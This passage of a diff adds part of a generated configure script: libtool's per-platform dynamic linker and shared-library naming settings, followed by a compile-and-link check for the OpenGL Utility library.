+hardcode_into_libs=no
+
+# when you set need_version to no, make sure it does not cause -set_version
+# flags to be left without arguments
+need_version=unknown
+
+case $host_os in
+aix3*)
+  version_type=linux
+  library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
+  shlibpath_var=LIBPATH
+
+  # AIX 3 has no versioning support, so we append a major version to the name.
+  soname_spec='${libname}${release}${shared_ext}$major'
+  ;;
+
+aix4* | aix5*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  hardcode_into_libs=yes
+  if test "$host_cpu" = ia64; then
+    # AIX 5 supports IA64
+    library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
+    shlibpath_var=LD_LIBRARY_PATH
+  else
+    # With GCC up to 2.95.x, collect2 would create an import file
+    # for dependence libraries.  The import file would start with
+    # the line `#! .'.  This would cause the generated library to
+    # depend on `.', always an invalid library.  This was fixed in
+    # development snapshots of GCC prior to 3.0.
+    case $host_os in
+      aix4 | aix4.[01] | aix4.[01].*)
+      if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
+	   echo ' yes '
+	   echo '#endif'; } | ${CC} -E - | $GREP yes > /dev/null; then
+	:
+      else
+	can_build_shared=no
+      fi
+      ;;
+    esac
+    # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
+    # soname into executable. Probably we can add versioning support to
+    # collect2, so additional links can be useful in future.
+    if test "$aix_use_runtimelinking" = yes; then
+      # If using run time linking (on AIX 4.2 or later) use lib<name>.so
+      # instead of lib<name>.a to let people know that these are not
+      # typical AIX shared libraries.
+      library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+    else
+      # We preserve .a as extension for shared libraries through AIX4.2
+      # and later when we are not doing run time linking.
+      library_names_spec='${libname}${release}.a $libname.a'
+      soname_spec='${libname}${release}${shared_ext}$major'
+    fi
+    shlibpath_var=LIBPATH
+  fi
+  ;;
+
+amigaos*)
+  if test "$host_cpu" = m68k; then
+    library_names_spec='$libname.ixlibrary $libname.a'
+    # Create ${libname}_ixlibrary.a entries in /sys/libs.
+    finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$ECHO "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $RM /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
+  else
+    dynamic_linker=no
+  fi
+  ;;
+
+beos*)
+  library_names_spec='${libname}${shared_ext}'
+  dynamic_linker="$host_os ld.so"
+  shlibpath_var=LIBRARY_PATH
+  ;;
+
+bsdi[45]*)
+  version_type=linux
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
+  shlibpath_var=LD_LIBRARY_PATH
+  sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
+  sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
+  # the default ld.so.conf also contains /usr/contrib/lib and
+  # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
+  # libtool to hard-code these into programs
+  ;;
+
+cygwin* | mingw* | pw32*)
+  version_type=windows
+  shrext_cmds=".dll"
+  need_version=no
+  need_lib_prefix=no
+
+  case $withGCC,$host_os in
+  yes,cygwin* | yes,mingw* | yes,pw32*)
+    library_names_spec='$libname.dll.a'
+    # DLL is installed to $(libdir)/../bin by postinstall_cmds
+    postinstall_cmds='base_file=`basename \${file}`~
+      dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
+      dldir=$destdir/`dirname \$dlpath`~
+      test -d \$dldir || mkdir -p \$dldir~
+      $install_prog $dir/$dlname \$dldir/$dlname~
+      chmod a+x \$dldir/$dlname~
+      if test -n '\''$stripme'\'' && test -n '\''$striplib'\''; then
+        eval '\''$striplib \$dldir/$dlname'\'' || exit \$?;
+      fi'
+    postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
+      dlpath=$dir/\$dldll~
+       $RM \$dlpath'
+    shlibpath_overrides_runpath=yes
+
+    case $host_os in
+    cygwin*)
+      # Cygwin DLLs use 'cyg' prefix rather than 'lib'
+      soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+      sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
+      ;;
+    mingw*)
+      # MinGW DLLs use traditional 'lib' prefix
+      soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+      sys_lib_search_path_spec=`$CC -print-search-dirs | $GREP "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
+      if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
+        # It is most probably a Windows format PATH printed by
+        # mingw gcc, but we are running on Cygwin. Gcc prints its search
+        # path with ; separators, and with drive letters. We can handle the
+        # drive letters (cygwin fileutils understands them), so leave them,
+        # especially as we might pass files found there to a mingw objdump,
+        # which wouldn't understand a cygwinified path. Ahh.
+        sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
+      else
+        sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED  -e "s/$PATH_SEPARATOR/ /g"`
+      fi
+      ;;
+    pw32*)
+      # pw32 DLLs use 'pw' prefix rather than 'lib'
+      library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+      ;;
+    esac
+    ;;
+
+  *)
+    library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
+    ;;
+  esac
+  dynamic_linker='Win32 ld.exe'
+  # FIXME: first we should search . and the directory the executable is in
+  shlibpath_var=PATH
+  ;;
+
+darwin* | rhapsody*)
+  dynamic_linker="$host_os dyld"
+  version_type=darwin
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${major}$shared_ext ${libname}$shared_ext'
+  soname_spec='${libname}${release}${major}$shared_ext'
+  shlibpath_overrides_runpath=yes
+  shlibpath_var=DYLD_LIBRARY_PATH
+  shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
+  # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
+  if test "$withGCC" = yes; then
+    sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | $GREP "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
+  else
+    sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
+  fi
+  sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
+  ;;
+
+dgux*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  ;;
+
+freebsd1*)
+  dynamic_linker=no
+  ;;
+
+kfreebsd*-gnu)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=no
+  hardcode_into_libs=yes
+  dynamic_linker='GNU ld.so'
+  ;;
+
+freebsd* | dragonfly*)
+  # DragonFly does not have aout.  When/if they implement a new
+  # versioning mechanism, adjust this.
+  if test -x /usr/bin/objformat; then
+    objformat=`/usr/bin/objformat`
+  else
+    case $host_os in
+    freebsd[123]*) objformat=aout ;;
+    *) objformat=elf ;;
+    esac
+  fi
+  version_type=freebsd-$objformat
+  case $version_type in
+    freebsd-elf*)
+      library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
+      need_version=no
+      need_lib_prefix=no
+      ;;
+    freebsd-*)
+      library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
+      need_version=yes
+      ;;
+  esac
+  shlibpath_var=LD_LIBRARY_PATH
+  case $host_os in
+  freebsd2*)
+    shlibpath_overrides_runpath=yes
+    ;;
+  freebsd3.[01]* | freebsdelf3.[01]*)
+    shlibpath_overrides_runpath=yes
+    hardcode_into_libs=yes
+    ;;
+  freebsd3.[2-9]* | freebsdelf3.[2-9]* | \
+  freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1)
+    shlibpath_overrides_runpath=no
+    hardcode_into_libs=yes
+    ;;
+  freebsd*) # from 4.6 on
+    shlibpath_overrides_runpath=yes
+    hardcode_into_libs=yes
+    ;;
+  esac
+  ;;
+
+gnu*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  hardcode_into_libs=yes
+  ;;
+
+hpux9* | hpux10* | hpux11*)
+  # Give a soname corresponding to the major version so that dld.sl refuses to
+  # link against other versions.
+  version_type=sunos
+  need_lib_prefix=no
+  need_version=no
+  case $host_cpu in
+  ia64*)
+    shrext_cmds='.so'
+    hardcode_into_libs=yes
+    dynamic_linker="$host_os dld.so"
+    shlibpath_var=LD_LIBRARY_PATH
+    shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
+    library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+    soname_spec='${libname}${release}${shared_ext}$major'
+    if test "X$HPUX_IA64_MODE" = X32; then
+      sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
+    else
+      sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
+    fi
+    sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
+    ;;
+  hppa*64*)
+    shrext_cmds='.sl'
+    hardcode_into_libs=yes
+    dynamic_linker="$host_os dld.sl"
+    shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
+    shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
+    library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+    soname_spec='${libname}${release}${shared_ext}$major'
+    sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
+    sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
+    ;;
+  *)
+    shrext_cmds='.sl'
+    dynamic_linker="$host_os dld.sl"
+    shlibpath_var=SHLIB_PATH
+    shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
+    library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+    soname_spec='${libname}${release}${shared_ext}$major'
+    ;;
+  esac
+  # HP-UX runs *really* slowly unless shared libraries are mode 555.
+  postinstall_cmds='chmod 555 $lib'
+  ;;
+
+interix3*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=no
+  hardcode_into_libs=yes
+  ;;
+
+irix5* | irix6* | nonstopux*)
+  case $host_os in
+    nonstopux*) version_type=nonstopux ;;
+    *)
+	if test "$lt_cv_prog_gnu_ld" = yes; then
+		version_type=linux
+	else
+		version_type=irix
+	fi ;;
+  esac
+  need_lib_prefix=no
+  need_version=no
+  soname_spec='${libname}${release}${shared_ext}$major'
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
+  case $host_os in
+  irix5* | nonstopux*)
+    libsuff= shlibsuff=
+    ;;
+  *)
+    case $LD in # libtool.m4 will add one of these switches to LD
+    *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
+      libsuff= shlibsuff= libmagic=32-bit;;
+    *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
+      libsuff=32 shlibsuff=N32 libmagic=N32;;
+    *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
+      libsuff=64 shlibsuff=64 libmagic=64-bit;;
+    *) libsuff= shlibsuff= libmagic=never-match;;
+    esac
+    ;;
+  esac
+  shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
+  shlibpath_overrides_runpath=no
+  sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
+  sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
+  hardcode_into_libs=yes
+  ;;
+
+# No shared lib support for Linux oldld, aout, or coff.
+linux*oldld* | linux*aout* | linux*coff*)
+  dynamic_linker=no
+  ;;
+
+# This must be Linux ELF.
+linux*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=no
+  # This implies no fast_install, which is unacceptable.
+  # Some rework will be needed to allow for fast_install
+  # before this can be enabled.
+  hardcode_into_libs=yes
+
+  # Append ld.so.conf contents to the search path
+  if test -f /etc/ld.so.conf; then
+    lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:,	]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
+    sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
+  fi
+
+  # We used to test for /lib/ld.so.1 and disable shared libraries on
+  # powerpc, because MkLinux only supported shared libraries with the
+  # GNU dynamic linker.  Since this was broken with cross compilers,
+  # most powerpc-linux boxes support dynamic linking these days and
+  # people can always --disable-shared, the test was removed, and we
+  # assume the GNU/Linux dynamic linker is in use.
+  dynamic_linker='GNU/Linux ld.so'
+  ;;
+
+knetbsd*-gnu)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=no
+  hardcode_into_libs=yes
+  dynamic_linker='GNU ld.so'
+  ;;
+
+netbsd*)
+  version_type=sunos
+  need_lib_prefix=no
+  need_version=no
+  if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then
+    library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
+    finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
+    dynamic_linker='NetBSD (a.out) ld.so'
+  else
+    library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
+    soname_spec='${libname}${release}${shared_ext}$major'
+    dynamic_linker='NetBSD ld.elf_so'
+  fi
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=yes
+  hardcode_into_libs=yes
+  ;;
+
+newsos6)
+  version_type=linux
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=yes
+  ;;
+
+*nto* | *qnx*)
+  version_type=qnx
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=no
+  hardcode_into_libs=yes
+  dynamic_linker='ldqnx.so'
+  ;;
+
+openbsd*)
+  version_type=sunos
+  sys_lib_dlsearch_path_spec="/usr/lib"
+  need_lib_prefix=no
+  # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
+  case $host_os in
+    openbsd3.3 | openbsd3.3.*)	need_version=yes ;;
+    *)				need_version=no  ;;
+  esac
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
+  finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
+  shlibpath_var=LD_LIBRARY_PATH
+  if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
+    case $host_os in
+      openbsd2.[89] | openbsd2.[89].*)
+	shlibpath_overrides_runpath=no
+	;;
+      *)
+	shlibpath_overrides_runpath=yes
+	;;
+      esac
+  else
+    shlibpath_overrides_runpath=yes
+  fi
+  ;;
+
+os2*)
+  libname_spec='$name'
+  shrext_cmds=".dll"
+  need_lib_prefix=no
+  library_names_spec='$libname${shared_ext} $libname.a'
+  dynamic_linker='OS/2 ld.exe'
+  shlibpath_var=LIBPATH
+  ;;
+
+osf3* | osf4* | osf5*)
+  version_type=osf
+  need_lib_prefix=no
+  need_version=no
+  soname_spec='${libname}${release}${shared_ext}$major'
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  shlibpath_var=LD_LIBRARY_PATH
+  sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
+  sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
+  ;;
+
+rdos*)
+  dynamic_linker=no
+  ;;
+
+solaris*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=yes
+  hardcode_into_libs=yes
+  # ldd complains unless libraries are executable
+  postinstall_cmds='chmod +x $lib'
+  ;;
+
+sunos4*)
+  version_type=sunos
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
+  finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=yes
+  if test "$with_gnu_ld" = yes; then
+    need_lib_prefix=no
+  fi
+  need_version=yes
+  ;;
+
+sysv4 | sysv4.3*)
+  version_type=linux
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  case $host_vendor in
+    sni)
+      shlibpath_overrides_runpath=no
+      need_lib_prefix=no
+      runpath_var=LD_RUN_PATH
+      ;;
+    siemens)
+      need_lib_prefix=no
+      ;;
+    motorola)
+      need_lib_prefix=no
+      need_version=no
+      shlibpath_overrides_runpath=no
+      sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
+      ;;
+  esac
+  ;;
+
+sysv4*MP*)
+  if test -d /usr/nec ;then
+    version_type=linux
+    library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
+    soname_spec='$libname${shared_ext}.$major'
+    shlibpath_var=LD_LIBRARY_PATH
+  fi
+  ;;
+
+sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
+  version_type=freebsd-elf
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=yes
+  hardcode_into_libs=yes
+  if test "$with_gnu_ld" = yes; then
+    sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
+  else
+    sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
+    case $host_os in
+      sco3.2v5*)
+        sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
+	;;
+    esac
+  fi
+  sys_lib_dlsearch_path_spec='/usr/lib'
+  ;;
+
+tpf*)
+  # TPF is a cross-target only.  Preferred cross-host = GNU/Linux.
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_name_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=no
+  hardcode_into_libs=yes
+  ;;
+
+uts4*)
+  version_type=linux
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  ;;
+
+*)
+  dynamic_linker=no
+  ;;
+esac
+echo "$as_me:$LINENO: result: $dynamic_linker" >&5
+echo "${ECHO_T}$dynamic_linker" >&6
+test "$dynamic_linker" = no && can_build_shared=no
+
+variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
+if test "$GCC" = yes; then
+  variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
+fi
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    echo "$as_me:$LINENO: checking how to hardcode library paths into programs" >&5
+echo $ECHO_N "checking how to hardcode library paths into programs... $ECHO_C" >&6
+hardcode_action_CXX=
+if test -n "$hardcode_libdir_flag_spec_CXX" ||
+   test -n "$runpath_var_CXX" ||
+   test "X$hardcode_automatic_CXX" = "Xyes" ; then
+
+  # We can hardcode non-existent directories.
+  if test "$hardcode_direct_CXX" != no &&
+     # If the only mechanism to avoid hardcoding is shlibpath_var, we
+     # have to relink, otherwise we might link with an installed library
+     # when we should be linking with a yet-to-be-installed one
+     ## test "$_LT_TAGVAR(hardcode_shlibpath_var, CXX)" != no &&
+     test "$hardcode_minus_L_CXX" != no; then
+    # Linking always hardcodes the temporary library directory.
+    hardcode_action_CXX=relink
+  else
+    # We can link without hardcoding, and we can hardcode nonexisting dirs.
+    hardcode_action_CXX=immediate
+  fi
+else
+  # We cannot hardcode anything, or else we can only hardcode existing
+  # directories.
+  hardcode_action_CXX=unsupported
+fi
+echo "$as_me:$LINENO: result: $hardcode_action_CXX" >&5
+echo "${ECHO_T}$hardcode_action_CXX" >&6
+
+if test "$hardcode_action_CXX" = relink ||
+   test "$inherit_rpath_CXX" = yes; then
+  # Fast installation is not supported
+  enable_fast_install=no
+elif test "$shlibpath_overrides_runpath" = yes ||
+     test "$enable_shared" = no; then
+  # Fast installation is not necessary
+  enable_fast_install=needless
+fi
+
+
+
+
+
+
+
+  fi # test -n "$compiler"
+
+  CC=$lt_save_CC
+  LDCXX=$LD
+  LD=$lt_save_LD
+  GCC=$lt_save_GCC
+  with_gnu_ld=$lt_save_with_gnu_ld
+  lt_cv_path_LDCXX=$lt_cv_path_LD
+  lt_cv_path_LD=$lt_save_path_LD
+  lt_cv_prog_gnu_ldcxx=$lt_cv_prog_gnu_ld
+  lt_cv_prog_gnu_ld=$lt_save_with_gnu_ld
+fi # test "$_lt_caught_CXX_error" != yes
+
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+
+GLU_CFLAGS="${GL_CFLAGS}"
+if test "X${with_apple_opengl_framework}" != "Xyes"; then
+  echo "$as_me:$LINENO: checking for OpenGL Utility library" >&5
+echo $ECHO_N "checking for OpenGL Utility library... $ECHO_C" >&6
+if test "${ax_cv_check_glu_libglu+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ax_cv_check_glu_libglu="no"
+  ax_save_CPPFLAGS="${CPPFLAGS}"
+  CPPFLAGS="${GL_CFLAGS} ${CPPFLAGS}"
+  ax_save_LIBS="${LIBS}"
+  LIBS=""
+  ax_check_libs="-lglu32 -lGLU"
+  for ax_lib in ${ax_check_libs}; do
+    if test X$ax_compiler_ms = Xyes; then
+      ax_try_lib=`echo $ax_lib | sed -e 's/^-l//' -e 's/$/.lib/'`
+    else
+      ax_try_lib="${ax_lib}"
+    fi
+    LIBS="${ax_try_lib} ${GL_LIBS} ${ax_save_LIBS}"
+    #
+    # libGLU typically links with libstdc++ on POSIX platforms. However,
+    # setting the language to C++ means that test program source is named
+    # "conftest.cc"; and Microsoft cl doesn't know what to do with such a
+    # file.
+    #
+    ac_ext=cc
+ac_cpp='$CXXCPP $CPPFLAGS'
+ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_cxx_compiler_gnu
+
+    if test X$ax_compiler_ms = Xyes; then
+      ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+    fi
+    cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+# if HAVE_WINDOWS_H && defined(_WIN32)
+#   include <windows.h>
+# endif
+# include <GL/glu.h>
+int
+main ()
+{
+gluBeginCurve(0)
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ax_cv_check_glu_libglu="${ax_try_lib}"; break
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+    if test X$ax_compiler_ms = Xyes; then
+      ac_ext=cc
+ac_cpp='$CXXCPP $CPPFLAGS'
+ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_cxx_compiler_gnu
+
+    fi
+    ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+  done
+  LIBS=${ax_save_LIBS}
+  CPPFLAGS=${ax_save_CPPFLAGS}
+fi
+echo "$as_me:$LINENO: result: $ax_cv_check_glu_libglu" >&5
+echo "${ECHO_T}$ax_cv_check_glu_libglu" >&6
+  if test "X${ax_cv_check_glu_libglu}" = "Xno"; then
+    no_glu="yes"
+    GLU_CFLAGS=""
+    GLU_LIBS=""
+  else
+    GLU_LIBS="${ax_cv_check_glu_libglu} ${GL_LIBS}"
+  fi
+fi
+
+
+
+
+if test "X$with_apple_opengl_framework" = "Xyes"; then
+  GLUT_CFLAGS="${GLU_CFLAGS}"
